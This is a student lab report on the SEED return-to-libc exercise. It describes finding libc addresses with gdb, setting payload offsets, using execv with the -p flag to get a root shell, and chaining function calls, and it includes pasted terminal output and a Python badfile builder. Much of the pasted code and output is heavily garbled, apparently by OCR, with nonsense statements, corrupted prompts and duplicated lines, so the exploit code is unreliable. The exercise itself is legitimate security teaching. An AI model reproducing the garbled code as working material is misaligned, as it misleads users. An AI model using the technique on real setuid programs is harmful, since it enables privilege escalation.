CS: 574

Lab 3: Return-to-libc

Task 1:

In this task we find out where our system and exit function are located by using gdb and setting a break point in main. Our stack protector is turned, and we have a non-executable stack. We turned off our address randomization to have the addresses not be different when we run. We tur off our shell countermeasure by pointing sh to zsh.

```
0000| 0xffffd16c --> 0xf7debee5 (<__libc_start_main+245>:
                                                                                                            add
                                                                                                                         esp,0x10)
0004| 0xffffd170 --> 0x1
0008| 0xffffd174 --> 0xffffd204 --> 0xffffd3ac ("/home/seed/Desktop/CarlosReyes/
op/CarlosReyes/lab_libc/Labsetup/retlib")
Legend: code, data, rodata, value
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p system()
'system' has unknown return type; cast the call to its declared return type
system has unknown return type; tast the tatt to its degdb-peda$ p system $1 = {<text variable, no debug info>} 0xf7e12420 <system>gdb-peda$ p exit $2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ quit
[10/27/24]seed@VM:~/.../Labsetup$ pwd
/home/seed/Desktop/CarlosReyes/lab libc/Labsetup [10/27/24]seed@VM:~/.../Labsetup$
gdb-peda$ quit
gdb-peda$ quit
[10/27/24]seed@VM:-/.../Labsetup$ pwd
/home/seed/Desktop/CarlosReyes/lab_Libc/Labsetup
[10/27/24]seed@VM:-/.../Labsetup$ ls
badfile exploit.py Makefile peda-session-retlib.txt
[10/27/24]seed@VM:-/.../Labsetup$ touch gdb_command.txt
[10/27/24]seed@VM:-/.../Labsetup$ vim gdb_command.txt
[10/27/24]seed@VM:-/.../Labsetup$ cat gdb_command.txt
 break main
run
p system
p exit
quit
[10/27/24]seed@VM:-/.../Labsetup$ gdb -q -batch -x gdb_command.txt ./retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you me
```

opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you m

EAX: 0xf7fb6808 --> 0xffffd20c --> 0xffffd3e4 ("SHELL=/bin/bash")

if sys.version_info.major is 3:

if pyversion is 3: Breakpoint 1 at 0x12ef

ean

Task 2:

In this task we are sing environment variables in order to use it as the string input for the attack. We export our environment variables in order to get them in a child process that is started by our system call. We need set an environment variable since we need arguments in our stack and we have a non-executable stack. We look for the address of our environment variable in order to put it as an argument inside our stack. We use prtenv variable to find the address of the environment variable so we can use it as an argument in our stack.




Task 3:

In this task we build our badfile using the python code. Since our buffer turns out to be 24 bytes we put our return address at 28 in order to run our system function since our ebp will change at the epilogue to ebp + 4. At the plus for after our return function address system we put in our exit function for our program to exit normally. 8 bytes aways from our system address on our stack we put our argument which is /bin/sh so our location X is 36. We run and get our shell.

Variation 1: When we run our variation 1 without our exit function, we notice that our program still runs we get a shell this works because we call our exit function inside our shell to get out of the root shell we invoked. If we didn't have that exit function and the system function ran and returned it would fail since it would not have something to return to in the stack in theory.

Variation 2: When we change our file name and recompile that changes the stack since our name of the program goes at the top of the stack. Making our loaded addresses and input address and other variables at different locations so many of our addresses will be different.



```
command 'sak' from deb seqan-apps (2.4.0+dfsg-12ubuntu2)
command 'mawk' from deb mawk (1.3.4.26200120-2)
command 'mak' from deb makw (1.3.4.26200120-2)
command 'mark' from deb makw (1.3.4.26200120-2)
command 'mark' from deb mah (0.4-2)
command 'mark' from deb mah (1.7.1-6)
command 'mark' from deb mnh (1.7.1-6)
command 'mark' from deb mnw (1.01b-19build1)

See 'snap info <snapname>' for additional versions.

[10/27/24]seed@W!--/.../Labsetups make
gcc -m22 -DBUF SIZE=12 -fno-stack-protector -z noexecstack -o newretlib retlib.c
sudo chown root newretlib 66 sudo chmod 4755 newretlib
[10/27/24]seed@W!--/.../Labsetups labeling newretlib
Address of input[] inside main(): 0xffffcd0
Address of input[] inside main(): 0xffffcd0
Address of input[] inside main(): 0xffffcd0
Address of buffer[] inside bof(): 0xffffcd0
Frame Pointer value inside bof(): 0xffffcd8
zsh:1: command not found: bseqmentation fault
[10/27/24]seed@W!--/.../Labsetups

[10/27/24]seed@W!--/.../Labsetups

[10/27/24]seed@W!--/.../Labsetups

[10/27/24]seed@W!--/.../Labsetups

[10/27/24]seed@W!--/.../Labsetups

[10/27/24]seed@W!--/.../Labsetups

[10/27/24]seed@W!--/.../Labsetups

[10/27/24]seed@W!--/.../Labsetups copicit.py
[10/27/24]seed@W!--/.../Labsetups copi
```

Task 4:

In this task we re link our /bin/sh to /bin/dash. We use our -p flag for our setuid privilege not to be dropped. We use execv to be able to use this flag. We need the first argument which is the path name and the second argument points to an array in which the first is address of path name the second is the flag and the last is null. In this case we must build our array in the stack since we can't access the environment variables since we aren't creating a child process with our parent. We create this array at the top of the arguments in the stack. We need to consider that our strepy stops at 0 bytes so we cant just use the built stack inside our bof function we use the input array in our main function since our input argument is there. We use that address to access all our arguments for the array and the stack for the execv call. We make sure that our 4 zero bytes are at the end of the bad file since that were our bof function strepy will stop and all other arguments will be inside except for the zero yet the zero will be in other input array since that's the input of the badfile.

Complications:

All other tasks were very simple and straightforward but, in this task, there was a complication in our gdb address analysis there was a mistake made on my part where the address of execve was used instead of execv. I had a different function that was being used. That was a simple mistake that took me 3 times the amount of time to figure out than it took me on the other tasks. There

was also a mistake made on the concept of using system call and execv call and our environment variables. I had forgotten that execv didn't make a child process therefore our environment variables couldn't be used in this attack. The building of the string and arguments had to happen inside the building of the badfile. That was a misconception that was quickly fixed.

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| Description | Comparison | Description | D
```

Task 5:

In this task we are asked to chain function foo 10 times and then call the root shell. The structure for our creating of bad file and addresses stays about the same we only needed to find the address for the foo function. We move our addresses to get our root shell above and our first return address at 28 becomes the address of our foo function above that is our return address after the first foo function call so we put foo again we do this 10 times to get 10 function calls of foo at the end we just repeat the same thing for our execv function with our array moved up the stack as well. If we wanted to use the set uid 0 function like talked about in lab that is out of scope, we would need a way to call set uid of 0 in the stack we could use the input string again since it has all our arguments in theory but keeping with the same idea of chaining functions we sould use sprintf function. In this function Sprintf(A,B) B is copied into A therefore we could first copy our set uid argument in the bad file without a zero and using spring f using an empty character build our 0 since we need 4 bytes sprintf is chained for times each with + 1 byte apart before calling Setuit(0) after that we call system with /bin/sh argument copied to badfile assuming all the

addresses are correct in building the file and the distances and locations when we call system our uid will be 0 so it doesn't drop our privileges since euid = uid in this case.

```
[10/31/24]seed@VM:-/.../Labsetup$ pwd
/home/seed/Desktop/CarlosReyes/Lab_libc/Labsetup
[10/31/24]seed@VM:-/.../Labsetup$ cat exploitChain.py
#!/usr/bin/env python3
[18/31/24]seed@WH.-/.../Labsetup$ cat exploitChain.py
#!/usr/bin/orw python3
import sys
#!lusr/bin/orw python3
import sys
#!ill content with non-zero values
content = bytearray(0xaa for i in range(300))
inputMain = 0xffffccde
arrayloc = 104
xddd = 0xffffccde
xddd = 0xfearray(b'/bin/sh\x00')
content[Xadd1:Xadd2+4] = bin_addr
Xadd2 = arrayloc-16
younger(0xdd2 = 0xdd)
Xadd3 = arrayloc-16
point1 = inputMain + arrayloc
younger(0xdd2 = 0xdd)
Xadd3 = arrayloc-16
younger(0xdd2 = 0xdd)
xdd4 = arrayloc-20
younger(0xdd2 = 0xdd)
Xadd3 = xdd3 = 0xdd)
Xadd4 = xdd4 = (point1).to_bytes(4,byteorder='little')
Xadd5 = arrayloc + 20
younger(0xdd2 = 0xdd)
younger(0xdd2 = 0xdd2 = 0xdd2)
younger(0xdd2 = 0xdd2)
        X1 = startChain + 8 sh_addr = inputMain + arrayloc # The address of "/bin/sh" content[X1:X1+4] = (sh_addr).to_bytes(4.byteorder='little') X4 = startChain + 12 dadr = 16 dadr = 
    h addr = 16 + inputMain + arrayloc printing inputMain + arrayloc content[Xadd3:Xadd3+4] = (point1).to_bytes(4,byteorder='little')
Xadd4 = arrayloc + 20 point2 = inputMain + arrayloc + 8 content[Xadd4:Xadd4+4] = (point2).to_bytes(4,byteorder='little')
Xadd5 = arrayloc + 24 content[Xadd4:Xadd4+4] = (point2).to_bytes(4,byteorder='little')
Xadd5 = arrayloc + 24 content[Xadd5:Xadd5+4] = bytearray(b'\X00' * 4)
stortChain = 28 for i in range(10) :
fooAdd = 0x56556200 content[Xadd5+4] = (fooAdd).to_bytes(4,byteorder='little')
startChain += 4
    *XI = startChain + 4

XI = startChain + 8

sh addr = inputMain + arrayloc # The address of "/bin/sh"
content[XI.X44] = (sh_addr).to_bytes(4,byteorder='little')

X4 = startChain + 12

X4 = startChain + 12

Content[X4:X4+4] = (h_addr).to_bytes(4,byteorder='little')

Y = startChain
execve_addr = 0xf7e99400 # The address of execve()
content[Y4:Y44] = (execve_addr).to_bytes(4,byteorder='little')

Z = startChain + 4

exit_addr = 0xf7e94780 # The address of exit()
content[Y2:Z44] = (exit_addr).to_bytes(4,byteorder='little')

Content[Y2:Z44] = (exit_addr).to_bytes(4,byteorder='little')
        # Save content to a file with open("badfile", "wb") as f: f.write(content) [10/31/24]seed@WH.-/.../Labsetup$ pwd/hone/seed/Desktop/CarlosReyes/Tabllibc/Labsetup [10/31/24]seed@WH.-/.../Labsetup$ []
        SyntaxError: invalid syntax
[10/31/24]seed@WH:-/.../Labsetup$ vim exploitChain.py
[10/31/24]seed@WH:-/.../Labsetup$ exploitChain.py
File "./exploitChain.py", i.me 24
[startChainstartChain+4] = (fooAdd).to_bytes(4,byteorder='little')
[startChain:startChain=3] = (fooAdd).to_bytes(4,byteorder='little')

SyntaxError: invalid syntax

[l8/31/24]seed@WH:-/.../Labsetup$ vim exploitChain.py

[l8/31/24]seed@WH:-/.../Labsetup$ exploitChain.py

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